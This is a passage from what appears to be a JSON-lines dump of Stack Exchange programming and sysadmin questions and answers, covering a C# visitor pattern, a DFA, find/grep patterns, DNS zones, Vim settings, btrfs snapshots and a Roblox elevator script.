internal abstract Element Accept(IVisitor visitor);}// Visitor base classpublic abstract class VisitorBase: IVisitor{  // Again, return an Element   // This is so that each visitor can choose to return a different type    // than the visited Element  public virtual Element Visit(Element element)  {    element = element.Accept(this);    return element;  }  // Another departure from vanilla visitor: Visit just this element    // (and don't recurse)  public virtual Element VisitNonRecursive(Element element)  {    return element;  }  // These can be individually overridden, and I have added these for transforming   // one type of Element into another  public virtual Element VisitNonRecursive(LeafElementA leafElementA)  {    return VisitNonRecursive(leafElementA as Element);  }  public virtual Element VisitNonRecursive(LeafElementB leafElementB)  {    return VisitNonRecursive(leafElementB as Element);  }  // ...similar methods for the other elements (removed to reduce clutter in the snippet) }Some concrete elements (I'm not including LeafElementB as it is virtually identical to LeafElementA):public class LeafElementA : Element{  internal override Element Accept(IVisitor visitor)  {    return visitor.VisitNonRecursive(this);  }}// Implementation of Element that contains multiple other Elementspublic class CompositeElement : Element{  public CompositeElement(params Element[] containedElements)  {    ContainedElements = containedElements.ToList();  }  public ICollection<Element> ContainedElements { get; private set; }   internal override Element Accept(IVisitor visitor)  {    ContainedElements = ContainedElements      // Recursively visit each child      .Select(visitor.Visit)      .ToList();    // And non-recursively visit this    return visitor.VisitNonRecursive(this);  }}// Implementation of Element that contains exactly two other Elementspublic class BinaryElement : Element{  public BinaryElement(Element left, Element right)  {    Left = left;    Right = right;  }  public Element Left { get; private set; }  public Element Right { get; private set; }  internal override Element Accept(IVisitor visitor)  {    // Recursively visit the children    Left = visitor.Visit(Left);    Right = visitor.Visit(Right);    // And non-recursively visit this    return visitor.VisitNonRecursive(this);  }}And the concrete visitor:// Implementation of Visitor that adds a LeafElementA to any composite elementpublic class AddOneMoreVisitor : VisitorBase{  public override Element VisitNonRecursive(MultiCompositeElement multiCompositeElement)  {    multiCompositeElement.ContainedElements.Add(new LeafElementA());    return multiCompositeElement;  }  public override Element VisitNonRecursive(BinaryCompositeElement binaryCompositeElement)  {    // Here we are able to change the returned type from the visitor    var result = new MultiCompositeElement(      binaryCompositeElement.Left,      binaryCompositeElement.Right,      new LeafElementA()    );    return result;  }  // The rest of the recursion-based visiting can be delegated to the base}So, did you actually have a question?Yes, I did. Firstly, is there a name for this variant of the visitor pattern? I assume that I will not be the first person in the whole world to think of or implement this. And I assume that with the collective wisdom of all those who have gone before that this class can be done better. Secondly, if this is not the case, then is there a way I can do this better? Doubling up the visit methods seems wasteful, but I always get stack overflow exceptions when I try an implementation without it.Thirdly, I am concerned about type safety. In the toy example all the composites contain base Elements. In the real-life code most Elements that contain another hold a derived type. Is there a way of making the visitor type safe so that no upcasting is needed? I couldn't find one - but that does not mean that it doesn't exists. And if not, is there a way to make it easier for a developer to write correct code. This looks like a powerful pattern and as Uncle Ben* said: With great power comes great responsibility. If it is not possible to make it provably typesafe according to the compiler, then the code should not get in the way of writing correct code. *The Spiderman uncle, not the rice uncle"  , "title": "Visitor that changes the structure of the objects it visits"  , "tags": "c#;visitor pattern"  } 
{  "id": "_cs.9049"  , "question": "First, I have tried to build a DFA over the alphabet $\\sum = \\{0,\\dots, 9\\}$ that accepts all decimal representations of natural numbers divisible by 3, which is quite easy because of the digit sum. For this I choose the states $Q = \\mathbb{Z}/3\\mathbb{Z}\\cup\\{q_0\\}$ ($q_0$ to avoid the empty word), start state $q_0$, accept states $\\{[0]_3\\}$ and $\\delta(q, w) =\\begin{cases} [w]_3 &\\mbox{if } q = q_0 \\\\[q + w]_3 & \\mbox{else } \\end{cases}$Of course, it doesn't work that way for natural numbers divisible by 43. For 43 itself, I would end in $[7]_{43}$, which wouldn't be an accepting state. Is there any way I can add something there or do you have other suggestions on how to do this? Thanks."  , "title": "DFA that accepts decimal representations of a natural number divisible by 43"  , "tags": "formal languages;regular languages;finite automata"  } 
{  "id": "_webmaster.97032"  , "question": "I've had a software development portfolio/ blog for a few years with Google Analytics installed on it. I'm not really that bothered about how much traffic the site gets, but nevertheless it's interesting to see some usage data.I noticed something odd recently with a drop in traffic on the website, which I'm hoping someone might be able to explain.Here's the situation:Before February 11th 2016, my most recent post was on September 26th 2014. I hadn't posted in around a year and a half and traffic since around July 2014 was averaging ~70 sessions a day (> 95% from organic search). On February 11th I updated my portfolio with a new blog post and added a single CSS property. From the day after (February 12th) until circa June 13th my traffic severely dropped to approximately 10 sessions a day.Here's an image depicting the above description (hopefully will show the general trend):It's started picking up again now but I find it odd that the drop coincided with a new blog post. Is this a coincidence? Again, I'm not bothered about the traffic levels; I'm more interested in the cause and whether there's something I'm not understanding about SEO/ Google Analytics. Perhaps they changed something in their algorithm, or was my website blacklisted for some reason?Thanks!"  , "title": "Unusual drop in traffic"  , "tags": "google analytics;google index;traffic"  , "accepted_answer": "This sounds to me like a Google Penalty issue.A sharp decline such as what you have shown that has lasted for 4 months the way your graph shows, in combination with your assertion that greater than 95% of your traffic comes from organic searches backs up that statement.There are two main penalties that you can get. The first is a manual action from the Google Spam team, and the only way to check this is to go to Google Webmaster Tools and see if you have any notification. An example of thew notification you may see could be...The other option is an algorithmic penalty which is harder to diagnose. By using a site such as https://moz.com/google-algorithm-change you can see when algorithmic changes have been applied and how the relate to your drop in traffic. Based on the above report I can not see any algorithmic change that may have affected you but that is not to say that your recent change didn't trigger an algorithm alarm.Backlinks can also cause substantial issues including backlimks from...Sites that are penalized or banned from GoogleWebsites with duplicate contentWebsites unrelated to your nicheSpammy comments and forum profilesSites with thin contentSite wide back linksOver 95% of Google Penalties are related to a websites backlinks.From what you have said it has started to pick up again and so it could be a temporary ranking issue that has resolved it.There is the possibility that due to the sites inactivity for such a long time the ranking reduced automatically and that it coincidentally reduced so substantially the day after you posted a new article, but I do not believe that is what happened as the rank increase from fresh content would not take months to apply as has been the case here, this does seem more to do with a penalty."  } 
{  "id": "_unix.52289"  , "question": "I am using   find . -name '*.[cCHh][cC]' -exec grep -nHr $1 {} ';'find . -name '*.[cCHh]' -exec grep -nHr $1 {} ';'to search for a string in all files ending with .c, .C, .h, .H, .cc and .CC listed in all subdirectories. But since this includes two commands this feels inefficient.How do I write a regex to include .c,.C,.h,.H,.cc and .CC files using one single regex?EDIT: I am running this on bash on a Linux machine."  , "title": "Compacting `find` name patterns"  , "tags": "find;efficiency;regular expression"  , "accepted_answer": "As you (incorrectly  what you used is a shell pattern) mentioned it in the subject, you should use regular expressions:find . -iregex '.*\\.[ch]+'The above is lazy approach, which will also find .ch, .hh and alike, if there exists. For exact matches you still have to enumerate what you want, but that is still easier with regular expressions:find . -regex '.*\\.\\(c\\|C\\|cc\\|CC\\|h\\|H\\)'"  } 
{  "id": "_webmaster.22966"  , "question": "What is the process to copy an entire .NET website from one server to another server? Both sites are running Windows Server 2008, IIS7, and SQL 2008?The base site is the live siteThe new site is going to be used as a development siteThe server hosting the development site has other, existing sites in IISThe servers are on different networks and have different internet domain namesPart of this is easily done, such as copying the database and restoring it. The same can be said for the copying of the directory of files the IIS site gets pointed to -- no help needed for those tasks.After the database and files are copied over, what are the necessary steps to make the site functional on the second server?"  , "title": "How to move IIS7 site from one server to another"  , "tags": "iis7;webserver;administration"  , "accepted_answer": "Web Deployment Tool is currently the Microsoft recommended way of copying and synchronizing web applications across IIS servers.Read more here: http://learn.iis.net/page.aspx/446/synchronize-iis/I noticed you didn't want to use MSDeploy but you didn't mention why."  } 
{  "id": "_unix.6220"  , "question": "I've installed chromium, but it deeply sucks that it uses my mother tongue (german) in its UI and for websites by default. I want the english back, like firefox did. I'm using archlinux's default packages. I looked into the settings dialogs, but I found nothing useful. "  , "title": "How can I change the language in chromium?"  , "tags": "chrome;i18n"  , "accepted_answer": "I use version 6.0.472.63 and I found Change font and language settings under Customize and control Chromium --> Options --> Under the hood."  } 
{  "id": "_unix.305939"  , "question": "When I type msfconsole in my terminal i got something like this:bash: /usr/bin/msfconsole: /usr/share/metasploit-framework/ruby: bad interpreter:Please help me.After ls -l /usr/share/metasploit-framework/ruby I got:total 276drwxr-xr-x  9 root root  4096 Aug 24 13:10 2.2.0drwxr-xr-x 12 root root  4096 Aug 26 03:55 2.3.0drwxr-xr-x  2 root root  4096 Aug 24 14:19 backward-rw-r--r--  1 root root  6252 Apr 14 08:16 changelog.gz-rw-r--r--  1 root root  3036 Apr 14 08:16 copyright-rw-r--r--  1 root root  4232 Apr 25 19:06 debug.h-rw-r--r--  1 root root  5785 Apr 25 19:06 defines.h-rw-r--r--  1 root root  1316 Jun 18 01:28 digest.h-rw-r--r--  1 root root 17849 Apr 25 19:06 encoding.h-rw-r--r--  1 root root 36172 Apr 25 19:06 intern.h-rw-r--r--  1 root root  5200 Apr 25 19:06 io.h-rw-r--r--  1 root root  4953 Apr 25 19:06 missing.h-rw-r--r--  1 root root   318 Apr 14 08:16 NEWS.Debian.gz-rw-r--r--  1 root root 37881 Apr 25 19:06 oniguruma.h-rw-r--r--  1 root root  1191 Apr 14 08:16 README.Debian-rw-r--r--  1 root root   777 Apr 25 19:06 regex.h-rw-r--r--  1 root root  1465 Apr 25 19:06 re.h-rw-r--r--  1 root root 69536 Apr 25 19:06 ruby.h-rw-r--r--  1 root root  5339 Apr 25 19:06 st.h-rw-r--r--  1 root root   374 Apr 25 19:06 subst.h-rw-r--r--  1 root root   996 Apr 25 19:06 thread.h-rw-r--r--  1 root root  1333 Apr 25 19:06 thread_native.h-rw-r--r--  1 root root  2050 Apr 25 19:06 util.hdrwxr-xr-x  4 root root  4096 Aug 24 14:18 vendor_ruby-rw-r--r--  1 root root  1854 Apr 25 19:06 version.h-rw-r--r--  1 root root  1677 Apr 25 19:06 vm.h"  , "title": "Msfconsole-metasploit framework bad ruby interpreter"  , "tags": "kali linux"  } 
{  "id": "_reverseengineering.13904"  , "question": "I'm quite confused with the movsx(move with sign extension)I'm trying to convert assembly code to C. but stuck with movsx part. this is the code I got so far. #include <stdio.h>#include <windows.h>int main(){    char str[24] = Aegisone security;//17+1    char *a;    a = &str[24]-24;    char a2 = -*(a+6);    //str[32] = *(a+6);    //char str2[4]=a;    MessageBox(0,Hello,reversing,0);    return 0;}can you help show me some example to usage of movsx thing in c code?the part I troubled isMOVSX EDX , BYTE PTR DS:[ECX+6]MOV DWORD PTR SS: [EBP-20],EDX'I need some more detail explanation about this partmy C-code above showing little bit different MOVESX EDX,BYTE PTR DS:[ECX+6]NEG EDXMOV BYTE PTR SS:[EBP-20],DL"  , "title": "move with sign extension in c code"  , "tags": "disassembly;assembly;decompilation;c"  } 
{  "id": "_unix.341615"  , "question": "I want to display a dialog at startup after the user log in?How would you suggest to do automatically launch a dialog at startup?Example of dialogue:zenity --question"  , "title": "How to start a dialog at startup after login in?"  , "tags": "startup;init.d;rc;xinit"  } 
{  "id": "_webapps.107950"  , "question": "I created a document in Google Docs, downloaded in Open Document Format, edited with LibreOffice Writer, then uploaded the edited document back to Google Docs.  In the new document:There exists a table which causes the following text to be pushed onto the next page, rather than immediately after the table.If new tables are inserted after the first table, they stay on the same page rather than being pushed onto the next page like the ordinary text is.If the table is deleted the text flows properly again.If a new table is inserted the problem comes back.If enough of the following text is deleted the problem also goes away.These problems don't exist in the original document.Here is a copy of the problem document, with the text before the problem area removed"  , "title": "Table forces following text onto next page after editing in LibreOffice"  , "tags": "google documents"  } 
{  "id": "_unix.317925"  , "question": "Need to do exactly as asked in question. Ubuntu 14.04 Trusty Tahr.Suppose I have directory called 'testmag' which may contain 100s of xml files and directories which in turn contain many xml files as well. I don't know names of any xml files but I know 1 of them contains tag <dbname>....</dbname>.Now how to find the file containing the aforementioned tag and grep the tag's value as output in terminal"  , "title": "Search all xml files recursively in directory for a specific tag and grep the tag's value"  , "tags": "command line;grep;terminal;find;xml"  , "accepted_answer": "Here is a solution with find that will also output the filenames of files containing a match:find . -name *.xml -exec grep '<dbname>' {} \\;             \\                     -exec echo -e {}\\n \\;                 \\                     | sed 's/<dbname>\\(.*\\)<\\/dbname>/\\1/g'Explanationfind . -name *.xml find all xml files recursively from current directory-exec grep '<dbname>' {} \\; on each file search for pattern <dbname>-exec echo -e {}\\n \\; echo filename + new line (-e option makes echo interpret \\n)| sed 's/<dbname>\\(.*\\)<\\/dbname>/\\1/g' pipe output to sed to print only the field contained between the <dbname></dbname> tags.NOTE1: you can format output in your echo -e ... to have results for each file clearly laid out, e.g. by adding new lines, or lines of underscore, whatever suits your need.NOTE2: path to each file will be given relatively to . (e.g. ./subfolder1/file.xml). If you want absolute path, go for find $PWD -name ...."  } 
{  "id": "_reverseengineering.1463"  , "question": "I know there are tools for identifying common ciphers and hash algorithms in code, but are there any similar scripts / tools / plugins for common compression algorithms such as gzip, deflate, etc? Primarily aimed at x86 and Windows, but answers for other platforms are welcomed too.Note that I'm looking to find code, not data."  , "title": "Are there any tools or scripts for identifying compression algorithms in executables?"  , "tags": "tools;windows;x86"  , "accepted_answer": "signsrch by Luigi Auriemma has signatures for tables used in common compression libraries (zlib etc.). It has been ported as plugins for ImmDbg and IDA.He also has the offzip tool which tries to identify and unpack compressed streams inside a binary."  } 
{  "id": "_webmaster.62884"  , "question": "I want to advertise on Google Adwords AND Linked-In. However I want to know which is more successful at getting a conversion.I'm not really sure how to set things up so that I can do this? I have installed Google Analytics. And I have a campaign running but yeah no idea really. Do I just set up a goal and then GA will tell me where the referral came from?"  , "title": "How do I track where a conversion 'came from'?"  , "tags": "google analytics;google adwords;linkedin"  , "accepted_answer": "Yes, first you need to define a conversion. Easiest way to do it without custom programming is to define URL Conversions. For this, you must have unique URLs which only happen when conversion is made (e.g. a special URL on a thank-you page which is shown only after conversion is made).When you have conversions setup, there are reports which allow you to see the referrals for conversions."  } 
{  "id": "_cs.12781"  , "question": "As I remember:A decision problem is a problem that has the answer yes or no.An algorithm (in the context of automata theory) answers yes or no; it halts on all inputs, accepted or not.A TM represents an algorithm. The TM accepts an input string and executes with that input. If the machine ends up in an accept state, the answer is yes, otherwise no.How does a yes/no problem relate to general algorithms we are doing that have more than yes/no problems? Or is that every problem can be thought as a yes/no problem, i.e. is this a function f produce 5 (or whatever input) with input 2 (or whatever output)?"  , "title": "How a TM can represent any algorithm?"  , "tags": "computability;turing machines"  , "accepted_answer": "Don't forget that the final content of the tape can be treated like the output of the algorithm that the TM computes; in other words, a TM is able to compute a function: there is no reject state but only an accept state and the function result is the content of the tape at the end of the computation.But if you want to learn more on the relation between decision problems and function problems , (quickly) read the Decision Problem - Equivalence with functions problems entry on Wikipedia, and then search some lectures online on the subject."  } 
{  "id": "_unix.44863"  , "question": "I want to setup a new TLD (foo.) for my the private network so that I can host some child domains which will be accessible from within the network. For this purpose I have setup a DNS server (172.16.100.1) for foo.. For this I created a zone file foo-zonedb.rr with the following records:$ORIGIN foo.$TTL  100@       IN  SOA ns1.tld.foo. hostmaster.tld.foo (                2012030701                900                300                300                600        )@    300 IN NS ns1.tld.foo.@    300 IN  A 172.16.143.197ns1.tld.foo.    300 IN A 172.16.143.197And also I have added the following entries in /etc/named.confzone foo. {             type master;             file foo-zonedb.rr;             notify explicit;    };Now suppose every machine on the network uses 172.16.1.1 as their DNS server. What configuration should I have to do on 172.16.1.1 so that it won't redirect DNS request for foo. domain to root DNS servers?"  , "title": "Creating a new TLD for private network"  , "tags": "dns;bind"  } 
{  "id": "_scicomp.10388"  , "question": "I downloaded the bundle adjustment data from this link:original data for bundle adjustmentwhich is the supporting data for a paper titled:Bundle Adjustment in the LargeI want to use the data for triangulation algorithm testing, which requires 3x4 pinhole camera matrices; however the pinhole cameras were all calibrated into 9 parameters:e.g.1.5741515942940262e-02 //first three represent the `R` rotation,-1.2790936163850642e-02-4.4008498081980789e-03-3.4093839577186584e-02// 4~6 are the `t' translation vector-1.0751387104921525e-011.1202240291236032e+003.9975152639358436e+02 // the 7th is focal length-3.1770643852803579e-07 // the last two are radial distortion parameters.5.8820490534594022e-13.though there is already a reference on how to recover the R from the first three numbers:Rodrigues's vector per the original authors:description here I still feel it is difficult for me to understand it, especially the how to recover the R from the first three numbers. Anyone has suggestions?Camera ModelWe use a pinhole camera model; the parameters we estimate for each camera area rotation R, a translation t, a focal length f and two radial distortion parameters k1 and k2. The formula for projecting a 3D point X into a camera R,t,f,k1,k2 is:P  =  R * X + t       (conversion from world to camera coordinates)p  = -P / P.z         (perspective division)p' =  f * r(p) * p    (conversion to pixel coordinates)where P.z is the third (z) coordinate of P. In the last equation, r(p) is a function that computes a scaling factor to undo the radial distortion:r(p) = 1.0 + k1 * ||p||^2 + k2 * ||p||^4.This gives a projection in pixels, where the origin of the image is the center of the image, the positive x-axis points right, and the positive y-axis points up (in addition, in the camera coordinate system, the positive z-axis points backwards, so the camera is looking down the negative z-axis, as in OpenGL).Data FormatEach problem is provided as a bzip2 compressed text file in the following format.<num_cameras> <num_points> <num_observations><camera_index_1> <point_index_1> <x_1> <y_1>...<camera_index_num_observations> <point_index_num_observations> <x_num_observations> <y_num_observations><camera_1>...<camera_num_cameras><point_1>...<point_num_points>Where, there camera and point indices start from 0. Each camera is a set of 9 parameters - R,t,f,k1 and k2. The rotation R is specified as a Rodrigues' vector."  , "title": "How to recover the 3x4 pinhole camera from 9 parameters"  , "tags": "least squares;data sets;computer vision"  , "accepted_answer": "To convert from Rodrigues vector to a rotation matrix (and back) please check the MATLAB code here:http://www.cs.ucla.edu/~soatto/vision/courses/268/rodrigues.mSo this gives you the rotation matrix.You use the translation parameters directly. Additionally, you might want to form the camera matrix. It would be a good idea to get a fully calibrated K (which involves the camera center). If you can't, just do as follows:The authors claim to have it as the image center, so will use it as our center. Again in MATLAB notation: K=[f, 0, w/2; 0, f, h/2; 0, 0, 1], where w and h are image width and height respectively. Then you can form P = K*[R | t] which you could directly use for projecting to image coordinates (if you ignore the distortion only). If you need to take into account the distortion, then do the computation as the authors describe. "  } 
{  "id": "_softwareengineering.229232"  , "question": "When Murray Gell-Mann was asked how Richard Feynman managed to solve so many hard problems Gell-Mann responded that Feynman had an algorithm:Write down the problem.Think real hard.Write down the solution.Gell-Mann was trying to explain that Feynman was a different kind of problem solver and there were no insights to be gained from studying his methods. I kinda feel the same way about managing complexity in medium/large software projects. The people that are good are just inherently good at it and somehow manage to layer and stack various abstractions to make the whole thing manageable without introducing any extraneous cruft.So is the Feynman algorithm the only way to manage accidental complexity or are there actual methods that software engineers can consistently apply to tame accidental complexity?"  , "title": "How to manage accidental complexity in software projects"  , "tags": "design;project management;software;complexity"  , "accepted_answer": "When you see a good move, look for a better one.    —Emanuel Lasker, 27-year world chess championIn my experience, the biggest driver of accidental complexity is programmers sticking with the first draft, just because it happens to work.  This is something we can learn from our English composition classes.  They build in time to go through several drafts in their assignments, incorporating teacher feedback.  Programming classes, for some reason, don't.There are books full of concrete and objective ways to recognize, articulate, and fix suboptimal code:  Clean Code, Working Effectively with Legacy Code, and many others.  Many programmers are familiar with these techniques, but don't always take the time to apply them.  They are perfectly capable of reducing accidental complexity, they just haven't made it a habit to try.Part of the problem is we don't often see the intermediate complexity of other people's code, unless it has gone through peer review at an early stage.  Clean code looks like it was easy to write, when in fact it usually involves several drafts.  You write the best way that comes into your head at first, notice unnecessary complexities it introduces, then look for a better move and refactor to remove those complexities.  Then you keep on looking for a better move until you are unable to find one.However, you don't put the code out for review until after all that churn, so externally it looks like it may as well have been a Feynman-like process.  You have a tendency to think you can't do it all one chunk like that, so you don't bother trying, but the truth is the author of that beautifully simple code you just read usually can't write it all in one chunk like that either, or if they can, it's only because they have experience writing similar code many times before, and can now see the pattern without the intermediate stages.  Either way, you can't avoid the drafts."  } 
{  "id": "_softwareengineering.344165"  , "question": "I'm trying to provide a convention, or standard, for a parent controller to communicate with a directive in Angular. Basically the directive will have a settings object containing callbacks and initial data received from the controller, and an api object containing public functions.I've created a service called gabby but it doesn't do much, just a convenience. HTML  <div ng-app=myApp ng-controller=appCtrl>    <my-dir settings=myDirSettings api=myDirApi></my-dir>  </div>Parent Controller  angular.module('myApp').controller('appCtrl', function($scope) {    $scope.myDirSettings = {      onStart: function() {        //start the logic      },      defaultName: 'My App Name'    };    $scope.someClick = function() {      $scope.myDirApi.fetchData();    };          });DirectiveJust Angular  angular.module('myApp').directive('myDir', function() {    return {      controller: 'myDirCtrl',      scope: { settings: '<', api: '=' }    };  });Or with the Gabby Service  angular.module('myApp').directive('myDir', function(gabby) {    return {      controller: 'myDirCtrl',      scope: gabby.scope()    };  });Directive's ControllerJust Angular  angular.module('myApp').controller('myDirCtrl', function($scope) {      angular.extend($scope, {          onStart: function() {},          onSubmit: function() {},          defaultName: 'John'          }, $scope.settings);      $scope.api = $scope.api || {};      $scope.api.clearValues = function() {          //do magic things      };      $scope.api.fetchData = function() {          //do magic things      };      $scope.api.getValues = function() {          //do magic things      };              $scope.onSomeKeyPress = function() {                $scope.onStart();      };});Or with the Gabby Service  angular.module('myApp').controller('myDirCtrl', function($scope, gabby) {    gabby.for($scope)      .settings({          //These are the default settings for the directive,          //allowing the reader to easily understand what can          //be passed to the directive          onStart: function() {},          onSubmit: function() {},          defaultName: 'John'          })      .api({          //These are the public functions of the directives          clearValues: function() {            //do magic things          },          fetchData: function() {            //do magic things          },          getValues: function() {            //do magic things          }      });    $scope.onSomeKeyPress = function() {              $scope.onStart();    };  });More details:https://github.com/yellowblood/gabbyAm I trying to solve an already solved problem?Do you think this approach is readable and clear?"  , "title": "Communication between Angular directives and their parent controller"  , "tags": "design patterns;angularjs"  } 
{  "id": "_webmaster.18466"  , "question": "Is there a way to +1 something via a URL, just like you would with Twitter or Facebook?e.g.With Twitter you have:http://twitter.com/home?status={url}With Facebook you have: http://www.facebook.com/sharer.php?u={url}&t={title}With Digg you have:http://digg.com/submit?phase=2&url={url}&title={title}"  , "title": "Google +1 something via a URL"  , "tags": "google;google plus one"  } 
{  "id": "_unix.289740"  , "question": "How to get/know where is apt package's cache directory location?"  , "title": "How to get apt package cache directory location?"  , "tags": "apt;deb"  , "accepted_answer": "Simply with this command for cache directory location:apt-config shell Cache Dir::CacheAnd this command for cache/archive directory location:apt-config shell Cache Dir::Cache::Archives"  } 
{  "id": "_scicomp.1841"  , "question": "I have have multiple large matrices for which I need to find the largest absolute eigenvalue. I know that there is a large submatrix that does not vary. Is it possible to ignore/discard the submatrix?My question is also related to this question: What is the fastest way to calculate the largest eigenvalue of a general matrix?"  , "title": "Is it possible to ignore/discard part of a matrix when finding eigenvalues?"  , "tags": "linear algebra;algorithms;eigensystem;sparse"  , "accepted_answer": "If the part that is unchanged does not cover most of the matrix there is little you can do to save work. If the part that is unchanged can be permuted by a symmetric permutation to occupy the top left corner of yopur matrix, you can first similarity transform it to (tri)diagonal form. Extending the transform to the whole matrix leaves a matrix of the form $\\pmatrix{ T & A\\cr B & C}$ with (tri)diagonal $T$, whose eigenvalues are those of the original matrix. Its eigenvalues are relatively cheap to find by some subspace iteration steps followed by inverse iteration for extracting the absolutely largest eigenvalues once reasonable approximations are available."  } 
{  "id": "_opensource.4285"  , "question": "I know that GPL requires linking application to be licensed under GPL. Some database lisense covers data usage. I'm sure there's something for API too. But from the comments here on OSSE I also know that there seems to be no consensus.Is there a general rule for these aspects?Should I check each license each time or can I assume something from the opensource fact? Is there something like TLDRLegal.com which covers specifically these points? Are they considered distinct? Is there a general rule which specifies what is what? Are they even a part of an application or rather a product of it?Some bonus questions to further describe my confusion:is web API considered linking over net?or is it only data usage?do I use API if I'm only sending a request but do not check for response?PS: I know that I should read licenses but this question is more about general coverage."  , "title": "Linking vs API vs data"  , "tags": "linked libraries;api;open data"  } 
{  "id": "_codereview.29945"  , "question": "How can I make my library more flexible towards programmers? Here is my library. It's a basic library that provides a simple interface to organise your game (with scenes, and engine/game connection). The only problem that I dislike about it, is the fact that you cannot create a custom 'game loop', you must let the GameLoop class deal with that for you. You can only instead, call to update/draw of the loop if you cannot use a while loop and manually clog the main thread (e.g. Ogre3d and it's call backs to update your game).I'm also curious on what I can improve upon this library. Does my tutorial make sense? Is my code clean?https://github.com/miguelishawt/pine"  , "title": "Improving the flexibility of my library/what can be improved?"  , "tags": "c++;c++11;library;library design"  } 
{  "id": "_unix.71673"  , "question": "What exactly is the difference, operationally, between plugins and themes in oh-my-zsh?  I.e. how would things break (if at all) if a plugin were instead put among the themes, or a theme among the plugins?  Or is the distinction purely organizational?"  , "title": "difference between omz plugins and themes?"  , "tags": "zsh;oh my zsh"  , "accepted_answer": "Both the theme and the plugins are sourced in oh-my-zsh/oh-my-zsh.sh, so technically there should be no difference.But a theme should only be used to change the appearance and a plugin is there to add new functionality.With appearance I mean setting the values of $PS1, $PS2, $RPS1 and etc. There are some plugins which also set some appearances, like the vi-mode plugin which sets the right hand side prompt ($RPS1) when it is not already set."  } 
{  "id": "_unix.251114"  , "question": "Situation:Two machines (A & B, with local drives dA & dB) connected via slow network.Drive dA has initial backup to dB, while locally attached on machine A.btrfs send RO-snapshot-1-dA | btrfs receive btrfsmount_dir_on_dBMachine A/dA sends incremental snapshots to B/dB over slow network.btrfs send -p RO-snapshot-1-dA RO-snapshot-2-dA | ssh B btrfs receive btrfsmount_dir_on_dBThis works great.But now I need to replace the drive dB on machine B with dC.On machine B:btrfs send RO-snapshot-on_dB | btrfs receive btrfsmount-on_dCbut now, from machine A:btrfs send -p RO-snaphot-2-dA RO-snapshot-3-dA | ssh B btrfs receive btrfsmount-on_dC...results in cannot find parent UUID.Is there a way for me to fix this? (I can change the btrfs partition UUID with btrfstune, but this is not capable of altering a subvolume UUID.)"  , "title": "Copy remote btrfs incremental snapshot to new drive w/ UUID"  , "tags": "networking;backup;btrfs;uuid"  } 
{  "id": "_vi.9729"  , "question": "In vi it's very helpful to be able to place the cursor on a '(' or '{' or '[' character, press the '%' key, and move to the matching ')', '}', or ']'. But this does not work for me with angle brackets ( '<' and '>' ), even though page 130 of my Learning the vi Editor O'Reilly book (6th edition) says it should! I am using Centos 7.2 and my 'vi' editor is actually vim 7.4.160.Is this a version-specific thing? Or is there some switch that I can set/clear to make this work? It'd be handy for trying to make sense of HTML and Javascript."  , "title": "Percent key ( % ) matching behavior for angle brackets ( < > )"  , "tags": "key bindings;search;cursor movement"  , "accepted_answer": "'matchpairs' controls what characters form pairs which % will work upon. You can add angle brackets by doing the following command as suggested by :h 'matchpairs'::set matchpairs+=<:>Since 'matchpairs' is a buffer local setting it would be best do this for the filetype you want. An example of for cpp filetype which can be added to your vimrc file:augroup AngleBrackets    autocmd!    autocmd FileType cpp set matchpairs+=<:>;augroup ENDHowever my preferred method of setting filetype specific options is to use the after-directory. Add the following to ~/.vim/after/ftplugin/cpp.vim:set matchpairs+=<:>Note: These examples use cpp as the filetype. You can use a different filetype to fit your needs.If you truly want to make this a global change no matter the filetype add the following to your vimrc file:setglobal matchpairs+=<:>For more help see::h 'matchpairs':h local-options:h 'filetype':h :autocmd:h after-directory:h setglobal"  } 
{  "id": "_cs.32497"  , "question": "The Y combinator has the type $(a \\rightarrow a) \\rightarrow a$. By the Curry-Howard Correspondence, because the type $(a \\rightarrow a) \\rightarrow a$ is inhabited, it must correspond to a true theorem. However $a \\rightarrow a$ is always true, so it appears as if the Y combinator's type corresponds to the theorem $a$, which is not always true. How can this be?"  , "title": "Does the Y combinator contradict the Curry-Howard correspondence?"  , "tags": "logic;recursion;type theory;curry howard"  } 
{  "id": "_unix.367151"  , "question": "I have the following output whenever I issue task:TASKRC override: /path/taskrcTASKDATA override: /path/.taskIt's because I put the config and data files in non-default external location specified by $TASKRC and $TASKDATA environment variables of Taskwarrior.How could I make task to be quiete and not warn me everytime.I'd like to find the command line switch to make it quiet for the issueing time (once) and the also config file option to make it permanent, if any."  , "title": "How to override warning in Taskwarrior?"  , "tags": "command line;configuration;utilities"  } 
{  "id": "_datascience.16150"  , "question": "I have a number of domain names that may or may not be related to a particular brand.  For instance, if the brand is UPS, www.upssucks.com, www.upspackagesupplier.com, and www.ihateups.com might all be labeled as related because the website content is talking about UPS.  www.ilovepups.com and www.pushupssuck.com aren't related to the website UPS.  I want to use my trained dataset to create a prediction of whether a given domain is related to a brand using only the registered domain name as the input.  It seems like some off-the-shelf classifiers should work, but I am very new to this type of ML project.  What would be the first approach one would take to start making predictions?  I am planning on doing this in Python with scikit learn if that makes any difference."  , "title": "What is the general approach I can use to predict whether a domain is related to a brand using a supervised learning algorithm?"  , "tags": "predictive modeling;scikit learn"  } 
{  "id": "_codereview.29275"  , "question": "Are there any ways I could improve speed and less code? The elevator that uses this script works fine. Could anything be better?print( Teknikk xPower 9700 PRE DEV V1 Intialised)-- Develoment sample, May have functions added or removed. --local Floor = script.Parent.Floorlocal Floors = script.Parent.Floorslocal FireLock = falselocal Alarm = falselocal Open = falselocal Closed = truelocal IsOpening = falselocal IsClosing = falselocal Moving = falselocal Busy = falselocal Locked = falselocal DoorSpeed = 0.00001local MotorStartSpeed = 0.13local MotorStopSpeed = 0.13local MotorSpeed = 12local MotorCurrentSpeed = 8local MoveDirection = Nonelocal CallDirection = Nonelocal FloorIndicatorOffset = 6local LevelOffset = 3local TargetFloor = 0local TotalFloors = 0local Car = script.Parent.Car.Controllocal duck = falselocal WaitCall = falselocal CallQuene = {}local CardLock = truelocal CardNumber = {0,1}local LockedFloors = {2,3,4,5,6,7,8}function ProcessCall(xFloor, xDest)    if TargetFloor == 0 and xFloor ~= xDest then        if xDest > xFloor then            TargetFloor = xDest            Car.DirectionalIndicator.Decal.Texture = http://www.roblox.com/asset/?id=119917350            Start(Up)        end        if xDest < xFloor then            TargetFloor = xDest            Car.DirectionalIndicator.Decal.Texture = http://www.roblox.com/asset/?id=119917359            Start(Down)           end     endendfunction Start(xDirection)Busy = trueif Open or IsOpening thenrepeat DoorClose(Floor.Value) wait(0.1) until Closed == true and IsOpening == falseendMoving = true-- Some code for just 1 floor up, not too fast --    if (Floors:FindFirstChild(Floor..TargetFloor).FloorLevel.Position - script.Parent.Car.Control.FloorLevel.Position).Magnitude < 14 then   